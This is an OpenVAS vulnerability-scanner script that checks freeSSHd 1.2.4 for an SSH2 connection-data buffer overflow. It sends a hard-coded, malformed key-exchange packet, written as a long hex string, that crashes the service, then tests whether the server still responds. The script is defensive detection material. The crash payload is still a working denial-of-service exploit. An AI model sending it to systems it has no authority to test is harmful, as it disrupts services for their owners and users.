freeSSHd SSH2 Connection Data Remote Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100547");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-03-23 13:24:50 +0100 (Tue, 23 Mar 2010)");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");

  script_name("freeSSHd SSH2 Connection Data Remote Buffer Overflow Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/38887");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_DENIAL);
  script_family("Buffer overflow");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("ssh_detect.nasl");
  script_require_ports("Services/ssh", 22);
  script_mandatory_keys("ssh/freesshd/detected");

  script_tag(name:"summary", value:"freeSSHd is prone to a remote buffer-overflow vulnerability because it
  fails to perform adequate boundary checks on user-supplied data.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to execute arbitrary code within
  the context of the application. Failed exploit attempts will result in a denial of service.");

  script_tag(name:"affected", value:"freeSSHd 1.2.4 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("telnet_func.inc");
include("ssh_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ssh_get_port(default:22);

banner = ssh_get_serverbanner(port:port);
if(!banner || "WeOnlyDo" >!< banner)
  exit(0);

data = string("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n");

data +=
raw_string("\x00\x00\x03\x14\x082\xff\xff\x9f\xde\x5d\x5f\xb3\x07\x8f\x49\xa7\x79\x6a\x03\x3d\xaf\x55
            \x00\x00\x00\x7e\x64\x69\x66\x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d\x61\x6e\x2d\x67\x72\x6f
            \x75\x70\x2d\x65\x78\x63\x68\x61\x6e\x67\x65\x2d\x73\x68\x61\x32\x35\x36\x2c\x64\x69\x66
            \x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d\x61\x6e\x2d\x67\x72\x6f\x75\x70\x2d\x65\x78\x63\x68
            \x61\x6e\x67\x65\x2d\x73\x68\x61\x31\x2c\x64\x69\x66\x66\x69\x65\x2d\x68\x65\x6c\x6c\x6d
            \x61\x6e\x2d\x67\x72\x6f\x75\x70\x31\x34\x2d\x73\x68\x61\x31\x2c\x64\x69\x66\x66\x69\x65
            \x2d\x68\x65\x6c\x6c\x6d\x61\x6e\x2d\x67\x72\x6f\x75\x70\x31\x2d\x73\x68\x61\x31\x00\x00
            \x00\x0fssh-rsa,ssh-dss\x00\x00\x00\x9d\x61\x65\x73\x31\x32\x38\x2d\x63\x62\x63\x2c\x33
            \x64\x65\x73\x2d\x63\x62\x63\x2c\x62\x6c\x6f\x77\x66\x69\x73\x68\x2d\x63\x62\x63\x2c\x63
            \x61\x73\x74\x31\x32\x38\x2d\x63\x62\x63\x2c\x61\x72\x63\x66\x6f\x75\x72\x31\x32\x38\x2c
            \x61\x72\x63\x66\x6f\x75\x72\x32\x35\x36\x2c\x61\x72\x63\x66\x6f\x75\x72\x2c\x61\x65\x73
            \x31\x39\x32\x2d\x63\x62\x63\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x62\x63\x2c\x72\x69\x6a
            \x6e\x64\x61\x65\x6c\x2d\x63\x62\x63\x40\x6c\x79\x73\x61\x74\x6f\x72\x2e\x6c\x69\x75\x2e
            \x73\x65\x2c\x61\x65\x73\x31\x32\x38\x2d\x63\x74\x72\x2c\x61\x65\x73\x31\x39\x32\x2d\x63
            \x74\x72\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x74\x72\x00\x00\x00\x9d\x61\x65\x73\x31\x32
            \x38\x2d\x63\x62\x63\x2c\x33\x64\x65\x73\x2d\x63\x62\x63\x2c\x62\x6c\x6f\x77\x66\x69\x73
            \x68\x2d\x63\x62\x63\x2c\x63\x61\x73\x74\x31\x32\x38\x2d\x63\x62\x63\x2c\x61\x72\x63\x66
            \x6f\x75\x72\x31\x32\x38\x2c\x61\x72\x63\x66\x6f\x75\x72\x32\x35\x36\x2c\x61\x72\x63\x66
            \x6f\x75\x72\x2c\x61\x65\x73\x31\x39\x32\x2d\x63\x62\x63\x2c\x61\x65\x73\x32\x35\x36\x2d
            \x63\x62\x63\x2c\x72\x69\x6a\x6e\x64\x61\x65\x6c\x2d\x63\x62\x63\x40\x6c\x79\x73\x61\x74
            \x6f\x72\x2e\x6c\x69\x75\x2e\x73\x65\x2c\x61\x65\x73\x31\x32\x38\x2d\x63\x74\x72\x2c\x61
            \x65\x73\x31\x39\x32\x2d\x63\x74\x72\x2c\x61\x65\x73\x32\x35\x36\x2d\x63\x74\x72\x00\x00
            \x00\x69\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2c\x68\x6d\x61\x63\x2d\x73\x68\x61\x31\x2c\x75
            \x6d\x61\x63\x2d\x36\x34\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61
            \x63\x2d\x72\x69\x70\x65\x6d\x64\x31\x36\x30\x2c\x68\x6d\x61\x63\x2d\x72\x69\x70\x65\x6d
            \x64\x31\x36\x30\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63\x2d
            \x73\x68\x61\x31\x2d\x39\x36\x2c\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2d\x39\x36\x00\x00\x00
            \x69\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2c\x68\x6d\x61\x63\x2d\x73\x68\x61\x31\x2c\x75\x6d
            \x61\x63\x2d\x36\x34\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63
            \x2d\x72\x69\x70\x65\x6d\x64\x31\x36\x30\x2c\x68\x6d\x61\x63\x2d\x72\x69\x70\x65\x6d\x64
            \x31\x36\x30\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x68\x6d\x61\x63\x2d\x73
            \x68\x61\x31\x2d\x39\x36\x2c\x68\x6d\x61\x63\x2d\x6d\x64\x35\x2d\x39\x36\x00\x00\x00\x1a
            \x7a\x6c\x69\x62\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63\x6f\x6d\x2c\x7a\x6c\x69\x62\x2c
            \x6e\x6f\x6e\x65\x00\x00\x00\x1a\x7a\x6c\x69\x62\x40\x6f\x70\x65\x6e\x73\x73\x68\x2e\x63
            \x6f\x6d\x2c\x7a\x6c\x69\x62\x2c\x6e\x6f\x6e\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
            \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00");

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

send(socket:soc, data:data);
buf = recv(socket:soc, length:1024);

soc = open_sock_tcp(port);
if(!soc) {
  security_message(port:port);
  exit(0);
}

banner1 = telnet_negotiate(socket:soc);
close(soc);

if(!banner1) {
  security_message(port:port);
  exit(0);
}

exit(99);